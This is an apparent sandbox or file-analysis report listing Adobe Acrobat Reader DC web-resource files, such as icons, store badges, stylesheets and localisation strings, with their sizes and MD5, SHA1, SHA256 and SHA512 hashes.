C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\themes\dark\s_checkbox_unselected_18.svg
Filesize
1KB

MD5
a6e055b29f79b471d0a3d2f65ce3472c

SHA1
1cced271b67bec9c7e1e7683c59d64346b0f6897

SHA256
a1b304023e5f39029e28411670c6f9355c43e0abf4bd9ad599bd47a69e8992fd

SHA512
deee118a353a59a909a14e559c75a22790a9720602e3f3ddb96e32016a37da65d74c85f514b60dc6a8bce2af236a577cb800092af829c025c0208fa3c1b3e3fb

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\root\ui-strings.js
Filesize
9KB

MD5
30f4dbf9f5b868814ca35e182c82183a

SHA1
8ba7868f5cc414f4ca2132f7ea073770b3e3e56d

SHA256
338c217318569aa09b9b5fe98be387f0b80de619823603ef4c7f09a54c3c9d93

SHA512
533806a7dd0004991a187b6064936e311e3e66bc95631a03131ea0ca20ee49d65bcbf5674f3d3deaa957da87bdf4c313ae2d995ca412814e475a75ee5aa85f58

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\fr-ma\ui-strings.js
Filesize
1KB

MD5
c5855b5add850c9c9e42d3fcb97d12f8

SHA1
0041a84af4f984731471108602e983a54fd3c566

SHA256
6c4b1ffe9d47a29d1bf8be797ad40ad29d5a6198c0f6735b25bce1ec653c203d

SHA512
a39cb6cb8988382e313593365539961c720cd79d225301f234e5fb9f1ffc5fd9921a27aaee923b0cf3b3886868ff57ed1e81f20d2f43338a585ad10bb2b2e0a4

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\fr-ma\ui-strings.js
Filesize
1KB

MD5
d5295b357049139159793fba23bff2cb

SHA1
d8eb863b46825f9a14fb552b8a368221ac0cb065

SHA256
70b98716b4e39594183137907c3b955b8051764c165ad4a203199ecd7e1985df

SHA512
0c1c8c928d340b40f276007605ab1286e1e18c8dca729ad70f78d96c744714d079862ab26d9d763ac2da3d6abbbd38765fcfb90cb9f0d1b9c27f46f372f32ea8

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\icons.png
Filesize
8KB

MD5
25f77dcf4787551fe0912484f66eff0a

SHA1
26a3f258547b0249b9ae09e7eaa840f08b7df7ba

SHA256
4ece7cb130d5e3eaaa02a7526e1cb87a03634d7ad2c400e303b046d990cdb9b5

SHA512
96f565b2aa7d99d937e78638c1f7cf0845fd45643408619aa43b439bdb94847f177f1077d5fcfc454d96e4767884a2a9b316b0bd09f1f30cfac0ecb7074cb9fa

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\icons_ie8.gif
Filesize
8KB

MD5
73f6184d7b8a8412a8d356ed2cd39a28

SHA1
4bb183cb3706ea8c52e03dee4e86165b4b200d51

SHA256
cde01aba4459ac65062268bc972b2f3e96eabba8c3189dd93df87bbcbbb1d4fa

SHA512
08f2237877799429b7f7b05294b09cc9f1dc9494129ca4922a51f0ac11df8cdc0819d6dd64107b9be5658b149400b4e95273c3102d5b380baa0f6ae7d7e204dc

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\icons_retina.png
Filesize
15KB

MD5
2b95324de3e4e00fe6b6f4d52c66e3ad

SHA1
6cea879964488e0d48bfc7c3bd7aec650eac9573

SHA256
5088b1183086fe88eaf6dcfff4c9ef147fd1b5c9f5e51f843986c33dc7f3cb89

SHA512
e722f8d01a72f161a604e4bd31843bbfed9184362d3ac8cea1bc1e225cffb1dbbc40af45e4fba89dd05c3439e523f2f84adb733504b5f5d3b26f25c5e0d7df04

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\new_icons.png
Filesize
8KB

MD5
4ae04f8a8831bbd7b3c7254508f0ed05

SHA1
1d020d95549af02e14993d8d1b21284b24ff2d5d

SHA256
f4a3ee25dfc39ce78aa84c7b4617bc5487bd063ed72d1ba94a5ba891fae66330

SHA512
1c0885fdc3b41e025c97cb0181bc1be28a81c04d7ede3f918b6067bb8a9441d12dfcafad798d8c0d8c132482e6d01fbffacf78dbd5435150c584e2990caae90e

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\new_icons_retina.png
Filesize
17KB

MD5
d3d3b8b64c126d0d85d911f689bcc136

SHA1
f19bb4ca767beab4cbb99387aa1a4198946c2dca

SHA256
7d8974c17e6d3b32bd5940b855aad2d3b62fd60a8e9d40330ad2d8ceaa31a923

SHA512
ce0c57c044c3301bee2071665c0cd120dd9abd01b8ab9371f54c176ddb1f943bd3c597b5d19bc2dbf69d6eee32bc558e8543d269cb242b921700234f31ecdd40

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\en-gb\ui-strings.js
Filesize
1KB

MD5
1b73241bd7cf31087e05ba4ebf69e123

SHA1
68f895f22ef8be187abadeff29bb12e5badac19a

SHA256
3c86cf08247306a09ba0b73a1e7854e08682581d43fcd6a3c7cfbb7cadd5ff0c

SHA512
982d702c33ce502840b156583a0b1754b97dad613a6225a940d5f243113e1bc1634e8baa1e9a7ff1e51c156777e29ad91eb25fd83c762138a6599311304ab2af

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\root\ui-strings.js
Filesize
1KB

MD5
5fbf69e11ccf2c71809f9dc1fb8425c5

SHA1
be1bf175046aa9159e0e881bdbb243244c6ec4c6

SHA256
10510aaceed70a222de7e9f4710091f587c21147dd2688e93d808d571c3e46ce

SHA512
8b3b6412967569179a7e824949934f637cc29aa2a2b6a4dce358bbbf346e2ed7427824bbc2a6af31ae982cdf5b6cdb9960a73ae5d3c06699d97ba8cf88b2be2c

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ui-strings.js
Filesize
1KB

MD5
4726ca816016e7f29763489413e670dc

SHA1
820d05fd0af0541eabbc5d06fec135f2d24d9a2f

SHA256
0da6647afea278fdcd1034c48ed19d3418867222b6a167370f1d14fc90cbd4b3

SHA512
1bb37c3078cc63c22decd680e66caddd2f8763f930be2e1261c2283bba44f945eac72ec5b3defe7d9e54235d1b76ac883b434e96d91e173b5746b2e741468713

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\bg_pattern_RHP.png
Filesize
700B

MD5
c677d2218c3813e0eae0f3f7e359183f

SHA1
b5cd6ccaacf9bf5cf7ba21a0c49dac3ce8880b3d

SHA256
ee131833d1571ac88287eb2a1c3e7b5293c94a08914554f046c1379a85324263

SHA512
0bb3758b64b068a2788c7f2a5ae7e0e855acac9e09ae7d46ef2743a9ee8c7343023e9b53135f0a1b2a398f23f4e333e9eea27717f8eb4bfa50a382495b7ea523

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\bg_patterns_header.png
Filesize
1KB

MD5
b50080a0ffeb4631c3d41f4bc179e6ff

SHA1
2d78c159829804518c0351795d2ca0dd5d7b4631

SHA256
235500f7ea8aabffd74b0f2de45e7de392bd8ba88b6b4f0b2ab65606e672e065

SHA512
cf226d6edf5a718eb05ccb811d5ce78e5baabb807368f5f82140caf352a159e407c2cc433d8729e528d410ef320e0159b6e448257a7481429d479df1bf999d6f

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\illustrations.png
Filesize
9KB

MD5
dcd3d6c037a2464c265979c4eefad0a6

SHA1
1a972ff1c88a6dd007ea43b7289ab4858bfd3b13

SHA256
6ad9f319890d13f5af55fb3c8c83a2194ad855320dfa9498f5bca78613d72847

SHA512
4c889e9c3dcd3163f0725648b66caaf49724d4275b46ee271b0361cc9bb7d24915fff5d7ec58da5cb0d04d5924a167cd131f2a29acf12bba630b3f1bd60156f5

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\illustrations_retina.png
Filesize
19KB

MD5
b7934e30464f791c47c953f443008558

SHA1
58e018cb0f08864f5a6f463911d1ed8a0b256efc

SHA256
0ad0430443b9f370eb866968140df0d181f41a10208946434d4af53d63f9b2f0

SHA512
fcb734ff9c2ec9d365b3eff451a5624fb3b50bcdcab890e946dc31601c2ce9f19130f3ca7335addbe9ca655ae306d3787de62da86e710b9557614a50b819b340

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\root\ui-strings.js
Filesize
1KB

MD5
476332b9df005bc74699f3f6f1d406de

SHA1
081d3a652db12a1661ccb5e66fe6b5be3e33a201

SHA256
b851f01bfc027d5d5a3f208fe69e870b7332876cc5d4cac73e7c920a33ef6e91

SHA512
2a884e721bd6f4c3463066573868d73060f9927eb46f812bb82d540c9a1bfc277429ad54842e7d1d99e9fcfd7659e66a5dd8837cac30991324a1994a1cb05f30

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sl-sl\ui-strings.js
Filesize
1KB

MD5
2bc81a70e623d43107f777e2156b6b31

SHA1
700482b3cb319549a39718e8bd78b850799b5893

SHA256
e37b8e219ecaf80df4787c5f37ff3e6d462f81ab899d89d4ea55cdff0a476c63

SHA512
383898fafe89bd737014126dd569f1cdc644ee8ccca2e718e0c7f9d55b1319116d8124e2c24ee473f3a5eaf0ca0ea91a8253da3ad2de98dcf3b1b1df093a7c68

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\css\main-selector.css
Filesize
1KB

MD5
2ccae7438495b12cd9e17af9a238bcdc

SHA1
f3294a443c8d555a31ccf66ea3e95366b2f9178b

SHA256
fa08de4f51c8c47c531ffdd7ffc0f409a42b55bbfa68807afa62788aa4aa8176

SHA512
4701cebdc1482150796c0893933ca4473aa5f42c642ff709088a733717c186c021d621ab26ee9ce135a894d4674041af21d40c139e806655de08afb4fd8a494e

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\root\ui-strings.js
Filesize
1KB

MD5
d164a5fc1db3f29f4c6c51032e38beae

SHA1
668948334ce2d0c3743c9c59fc37429924a908b6

SHA256
95a8d101c7b15992437c03ab5ce37145cbed93a7d24870e0382dc6053067c9a0

SHA512
cdb228f605e6017732fb37ced30780bc32630947c26c4365e229646806891e16de38d83c39c2b1e8db8e756a0717cb722117c7e2d2394155ebf97e1e981fe394

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ui-strings.js
Filesize
1KB

MD5
6150214c08fbf8d1d0d7f5d71e5074e6

SHA1
8afb5b9624084b33d014bea394aa6e0839146f94

SHA256
8f761991749ac6c9fe6fa38a1ba47e528f40edb56d33d9397fccfcd7185ccedd

SHA512
36add485cb01ad985cf78eb73016bd82b578cdc5a2e42d3ab1e34e115c2fe41b7456db4154f545478b470ec0e0bb4b8695879884c2f1a91122edf4728066b75c

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\root\ui-strings.js
Filesize
1KB

MD5
468da1e7463f1d2c67a0ab5f17343349

SHA1
7f0502ce3e4508565f2258d415368480b70d9380

SHA256
fd905950cae93f144975afeb12bad8323e9268eac54d001692b0e3999bc3ad6e

SHA512
0422d7c329e2a6ae5835325f85264faa7acd631e29acb82526de79a1c1a4ffc0e4c9f77cbefe78b8b840a4eb941ccebc19462ad2f0f25b367476671a798279aa

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\root\ui-strings.js
Filesize
5KB

MD5
599e419f5d028082ab407c5e2625833c

SHA1
a328651ffadf7974234a6ce0474c826d97bb4d71

SHA256
fe102f093323e642d0aca22c82da7356bba7b27b5a822a4106a44f0ea258c4d4

SHA512
2c44dd3d12c5bd29dfc698cdd98ddb2e91640ae00a41cdfdc58da2e8b7b9930ab513b98699f01ab4e8224bfc504c4b16e06c232540f110243c441839055997eb

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\en_get.svg
Filesize
5KB

MD5
b688769a295aa3b174c689aa45a4b140

SHA1
0c953c5288b281165d8c2847181d6cf8299dbac6

SHA256
43ba4d6edbe969e2de5aa62139195222c402e29ece3d05ebead92b0eee807c21

SHA512
ac64624f0a96d12b4c66c168be1ee4a093753e139f10409b63ea0f17466b98022faf52822f28847b707ad997c16462b5170c523eccd29f2805b2971e9794662d

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\root\ui-strings.js
Filesize
13KB

MD5
b990956eca915d6ed6df6804703aefc0

SHA1
1f57bf5b4104ac7c12fa4e5804be719c406cf812

SHA256
72d63e4e8e1841e14a6f8e6fd9b6231fdbe3496ea584a3526ea67a74764991fa

SHA512
ef79fef36a5761412239311a5aa68b22bd2393115030e5f7fa4f739f0bce9557a825cbe69998a8a3939e27863956c41ccf4dd0d182657b3873cf7207a9607c1b

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\root\ui-strings.js
Filesize
14KB

MD5
8c45b4c37facdab47ed4895a2aa3a6e2

SHA1
c3df6165c2e2228c91b0f6ddfbace19a0f62090a

SHA256
f1e1728e2f73013b922fbb69c7c901b1e017032b8368c6813d3403834147a52b

SHA512
8213c2f72d32387f319e76bea201eb1f1744c37cf750be38120a048f794c55b94c33b6e7015ff1699b56d2e2922303d74c60d00b374445529b589de9821bfd74

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\root\ui-strings.js
Filesize
1KB

MD5
accf0f1ea08bea40f8279314b7672d20

SHA1
0039b1b2a28834fba5751f29044a109f7f766230

SHA256
b5ac75273d8c325fe3c1473eefc58a659b48bcd30ef5a0d07286cf4a983f6416

SHA512
2d1417919f41d89fb4d04c4e164cb0c26fd2c2f99d7b15adae0b0ea86ec500636c988db10e7cbe3404999b53e2e2bdd2b251f034c2db476632f5290873d476da

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\css\main-selector.css
Filesize
1KB

MD5
372305155d62a292424233fade2d6ced

SHA1
7fd3500da42eff8ed661f877baf00585137401f6

SHA256
df1759642952f9e602920d389ca8f4e25a7eb78472ac6d96d319a5f2a3d108aa

SHA512
141593f0c12f230c15b12c415ef17ac2b04e67ab561be814fa7283126f25b69c4a366835e6f8f7fff2b17cd8e778d0ceaeb030a2640727c87a0c970b1a102cf5

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_cs_135x40.svg
Filesize
19KB

MD5
7f30858ffd82c413513abf7181034aa5

SHA1
ddba5dfeed2e708657d2a8a1fb6543460acc73ca

SHA256
02752ea587a3c25b926efe549989562a4ac75a68a8f0b76d85e291afbaa06d89

SHA512
eb38179249e2ae78c6c4e18262129bf7ca36785359d0910ca322b442cc64f5e54488325940391887704e6dbec8f8e899bea2f6e75d6e49cfadc3d1427589b701

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_da_135x40.svg
Filesize
15KB

MD5
d3138c787b674a82d96a19fefc0a5c98

SHA1
30476dc27c3961c51f951cf4d439c45921a8ad34

SHA256
e3338b34b55a42b8d23edb34ee4459a51bc34777125f2af9392d3cc7c70353c6

SHA512
9c048a31a62750bb46f5caab7e7afd57aac2538d86c72a8d7149e62fb10084b354a542b283d616643fa4d179b2c1ac1c9dfc7e214466dbd2ed7f706d90b5e901

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_de_135x40.svg
Filesize
18KB

MD5
224808221f41febb4b1e46ca6ce256b1

SHA1
796e856bb1b848b2a974bce5af2fe920e763b294

SHA256
b4e630bd7d65625a6d6763df17c79395b41523ee397812d5b5206e2744ba53fa

SHA512
cb419c08f1829c51dc45ccc715a7923a94715a64df216b7bd01dbab275fae4fa00fc67aa2c73503089d7270db6068e5449ff54ee8140fdb2e6df30763f26d0db

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_es_135x40.svg
Filesize
23KB

MD5
919465ba0788c9faa7b4499b4826d18d

SHA1
203adee25f74368fdd9ad430d01af44d16a0c685

SHA256
fab776492721cba3bd7174bb1fcfbc8ab6c22ae794cc9304a4798ecb76b82fa9

SHA512
13fa31dddb26b2eedf75a51034ca1ee054f01103e24f5b3164f76ab716ef2e915d93aaaa2116731cf6649ce9bc9449ad5de0a52b34e3167ba2feed124896ee95

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_fi_135x40.svg
Filesize
18KB

MD5
7ba1c6632eed817962cb1e4c344209e9

SHA1
96dec018404529d5421e17423cc3af2174b31e6c

SHA256
3a3d3c7e2cb9c9458cae639373bd173a7676232dc0192001da34101188241aba

SHA512
474be39c1bb8c8cd770e433859cb21fb75ae6dbe4408a1343f63036bfea6f043033061ea5c872a694da45ac2e91576acef231bebf5c18a6b4cb47c2388a33736

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_fr_135x40.svg
Filesize
26KB

MD5
626ce5708befcc5d0b8b63c50b762c38

SHA1
7d37bf47bccf6fc50f411c77e3cbfee1b80ae963

SHA256
1b81d83f25fadd718a68ae428ea0d582a75b8ff5e2486f889adcfcf89ffd4e1c

SHA512
5b27250c1a7cd33e645ab282b2de6ba31f237f82d22ef775d7a1f5d252f63805a65c7a4967964387414f474faa4a64a29e42610dd897e74e7d145a0e33757615

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_it_135x40.svg
Filesize
20KB

MD5
ee6f32625ba18b9154330cd2048ac66d

SHA1
4c7178a87459356778ee92c0b178f903be1b7c17

SHA256
6fab7ebc1d2a8d29a0e26e6b8bcbbbe8e925d034a2700fbcb97dce01cc65b823

SHA512
57848d792bfa10abcbdef39edc21d0b308315a4f0da57d7042c580dadb795dcac8234329b3d41a81470562d93d40604eff17ff88c38a8399d66024c506b1b1dd

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_ja_135x40.svg
Filesize
17KB

MD5
8d8214341fb4b52f429bd9a207531cd5

SHA1
07e22e9f273e9fcc9b56f2919e7576420d8dcf62

SHA256
6c5c207cf5da9fd3fc1405ef69460d655846d92cc0588ca25f4c78911e704092

SHA512
bb9854da63601125bae5285b0a2f87785f0799efe1d8e01a6510a29c4d588a8e311ad3f17206442cb143f6bcdb766786d21e22c4f93a57599820209ab87b6011

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_ko_135x40.svg
Filesize
17KB

MD5
5be67008a25ddaca3f62bda665a5a9bd

SHA1
17eb044fdcd0901fbe7193892e18438bd555fd1d

SHA256
81f3dc8492830bdb8c30a7f9f23a74d9f1f39fcabf7e09572f8d32c60cefacd9

SHA512
8c5d548a78e80f44def879bb7420d58b97aac228685d9e666f275c4fdce1a81e5c6bf2c5b575f5c698ace67da7c1aa5b072afeaa4ae7e413e9ebe3411a97d2a0

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_nb_135x40.svg
Filesize
20KB

MD5
311b6274d3a384fb3505b3313b7bf831

SHA1
a8e609bed2ab273e65d6c8c24b15f93c6538beb0

SHA256
c7c763ca205c1cc1b9be9cc3d51bca6d928dcfa1b54411df341a6f4452a0af09

SHA512
dc2eab181b86e55374908309edbe3ad1463a22b62608924e51217468fef0c5d846597118f5386e061a7064c5c2a8dc8698a362fe959bf4addfe8a7efe99c81f6

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_pl_135x40.svg
Filesize
18KB

MD5
493cc30abe1c3c0c54f7068e52d1a9d0

SHA1
ab4bb355c91a2f5ea636116858742693742a2245

SHA256
eb9e2d6b9230faf44f74e025a4a599fd37f40fe3288357f47eebce4831ad6bf0

SHA512
2576a8ad7daf2dd7fdeafd358911a90508d797736cbf4aa0f97392af3305ce845240394aaeee35ea6e6c80603b98d65853b41ec1f933f4cd5b2b13a2464bb033

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_pt_135x40.svg
Filesize
19KB

MD5
a0ad155bf45e676be4878db1f14d5a10

SHA1
a7de2f4a4169b50dd70e0b48f66cb96f502b2733

SHA256
734bec19b7b7e880c4364cb6cf5bd710ea0f0553ac69b48fe0520f147e974f32

SHA512
06903123ee5090a87ca707109e8ba19bb30ae640a3e8a824166fc1c9834153f71e378debcda674f12d376745ba7f8bf00a3eece482b90b43e89f59624f1f607d

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_ru_135x40.svg
Filesize
23KB

MD5
4bb3415596e1fd25072e14fb4d861532

SHA1
8684aae1fb8fc5cf22c6ff546297decb64f9d047

SHA256
16c8344b928a0de400bb32a2ee86e1abde0b9416a207c0a5b0ca58d72e4a1edb

SHA512
be2985df084c73092666b65515e815da838740fc013453a49b05418345e2dd8e5830b361cc14c7c40f62b6a033c84c09eaa53ab93fc88eb71ff953d36809b63b

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_sv_135x40.svg
Filesize
17KB

MD5
58332b62ed55c10d8d6b6ef6c8fd9ef0

SHA1
2abbeebf7e0eb35dfc7535fd5fb73ed94c57e569

SHA256
93470f78b304e8f0351446b5c5c62cc8a1a725ff08412eea13cbbd69c952a944

SHA512
f91536e7bb8d592b4aa9e2c25f1c841dcf3c29b889117093a87d4d820d1db6106bbade9179ebc97408758fe17adda39d0c1ef8a0e0bd1baecb2c8763a66e508d

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_tr_135x40.svg
Filesize
21KB

MD5
96100e38cec5e4ff8c2df325f03d23dc

SHA1
de3b1b5bfba97920b25111149b0159d6f63fffb2

SHA256
fff7f85dadf7484382d4a770831ed17d13e3c4da238182bd6f32ed7e3037e56a

SHA512
01edc8c6f6b87288c504bf900528c104e85ea66694cc51c0822ed58a476f0b9223747a90f37ca0f42bfbccb14ce258cd75bf0527ed12618f301413e9ec398e9f

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_zh_cn_135x40.svg
Filesize
14KB

MD5
45267e9baf3ce175159e649cba8cdaed

SHA1
fe949c15d3e1581751bcebb4dcdc5dd044ad6308

SHA256
281716ba87ffae217e8674d399042843ade8cca43d1a1e537182f6c9322347d3

SHA512
b19cfd5e19078787f24a904200c414bf44aa5cc4767c996935bc8f6efe87ee2b205ccb35258b96afb835e9882cabce0b7a5bc1d1761cb0b0e375e1ecf3836247

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_zh_tw_135x40.svg
Filesize
15KB

MD5
97fa4c8b547bc638ec35a262025509b0

SHA1
d88b5a4bd934fac198fd5159f27708e4db0528f6

SHA256
709e937d74657929636bde52725fbcdf454b411163a8c9156fe6ca9b6391e30c

SHA512
1dbda6b594be0f2a59712407fa366f8fa8099fcb19fbb86dddd0fefed93d1e720aa1f547940ee4302c7d94e56f22d07a6760df519fdae789da4c3936b639129a

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\cs_get.svg
Filesize
5KB

MD5
16503fce10067ccb64c5911b533c3cd5

SHA1
1f5df0513f02b4cd3e5248e15b72dc3d297b76bf

SHA256
08a322dff38b5b9be521608d37b37cf0329918e2cfc7dce297aa553d804010da

SHA512
2b90b0ed2b34641230085276b359bef4145706609c41778508495857c13d349745ad596dc6d49ceda35aa863e0650bdb635a28a1091e6b2b260e7b93708d8870

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\da_get.svg
Filesize
5KB

MD5
463a77ba524f6a609603f8fa5405b3a0

SHA1
cef0faab7709b46f1ecd4653f4ddbb0df8d1a4c1

SHA256
23c609d4c1c4e14cd320c2681e18736b34941d86ac967206de4adf1e6fc5a690

SHA512
56ccbd7d708da0f5981f67f505711abf778606ff6b9f17ec9ff5b9c5f187870121a27e1aa06ab6f24506860771ef74c4012222867ee238632c5fd81c90b4458f

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\de_get.svg
Filesize
6KB

MD5
3b91c11a6c5dbaff7a8cc8561042add8

SHA1
399d6bb3b1c16ed6e54bb222f41fb9cd1ce330ff

SHA256
bb2296fdcc9c4df94d39a8da1fb10f35c024b78eb2b0f943de7e6bdbb0379f1f

SHA512
ca6fd3899b7a297058bbe827286d101c68d3f6c2a9906de116e136a7056160d3c5f2073405c0af583d85660265e45412f83b04f3e7d846fab4a0ae462427ac82

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\es-419_get.svg
Filesize
7KB

MD5
da0d4b0e6cedaf37beeb4442565adbed

SHA1
ad2d0828bf49926f8df6610c217e1625b1e66889

SHA256
7ef4881c9075ac2f790bb67465483b68ede49f4a61faadb9c246abafacbbe497

SHA512
c2f1325835ed4dcc3e8f24d50c88471c76cdf2e94d5f212a2575e7614d115dd74685dff8f3af7ba50987e93da3cc18b271d499b7c5b57b1235f21d801f9521ad

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\fi_get.svg
Filesize
5KB

MD5
21decdd3f17451feecbc961e22338a2d

SHA1
63958bddafd1d8ac336d83979b244136e1078193

SHA256
d9d462e227eec6ffbb1f45cd9d98bc9c2e11c92b7da0627d1b83d0cc1553704f

SHA512
ad7ebd1b742a692d9d74d9aa5851e4eabae8f74535e04c15c90b13c6c630d50e85ec8c495f60347182b03ac691c66e9c7d20dcf620d7c3c89bf9672df3697f2b

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\fr_get.svg
Filesize
8KB

MD5
9c53dcedce763014dc915d84a9b49eae

SHA1
7618991bf077859c3a73cc81751ad4a1d4aa8684

SHA256
319e77df7e6c91d4c87d644ed1224605cece3855ded9dab70f409987eae4d2c2

SHA512
d3fd4aa99bf958a027f91b6cb22724c15a2279bb712d4cdece658a6882d7f92c61135c48948df2f21ad8648b5507dd564dad110d3acd53f7c0b233285c7cf17e

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\it_get.svg
Filesize
7KB

MD5
71acf6d2f6a979f24c3e65b02d8e6376

SHA1
b1a7f95c23c457d374789aaafb922563ce2137ad

SHA256
feaa70017039dcc7d57c365b3f41ee540ea0f8fc8c9cb7675805d3f0ed709064

SHA512
e4604463694a1772d08a6c0e22ed0b8d4803fbad661c8ba2bfcea2e69e25b89324425239d4ad2878f8d0e7a9b4e6db2f740ba7a10f7d2d7537136e64f7262a96

Download Submit
